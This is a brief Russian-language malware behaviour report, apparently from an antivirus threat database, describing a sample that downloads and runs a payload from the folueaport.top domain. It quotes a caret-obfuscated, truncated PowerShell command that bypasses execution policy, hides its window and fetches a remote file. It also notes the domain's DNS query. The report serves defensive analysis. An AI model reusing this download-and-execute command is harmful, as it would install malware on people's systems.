Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://folueaport.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "p^ow^E^R^ShE^lL^.e^xE^ ^-EX^E^Cu^TionPOLicY BypASs ^-NopR^oFILE -^w^INDoWST^yl^E hI^DDEN^ (nE^W^-^Ob^jEc^t s^Y^S^t^EM.nET.WebC^L^iE^nt^).d^Ow^nlOad^f^Ile('http://folueaport....
Сетевая активность
UDP
- DNS ASK fo###aport.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "p^ow^E^R^ShE^lL^.e^xE^ ^-EX^E^Cu^TionPOLicY BypASs ^-NopR^oFILE -^w^INDoWST^yl^E hI^DDEN^ (nE^W^-^Ob^jEc^t s^Y^S^t^EM.nET.WebC^L^iE^nt^).d^Ow^nlOad^f^Ile('http://folueaport....' (со скрытым окном)
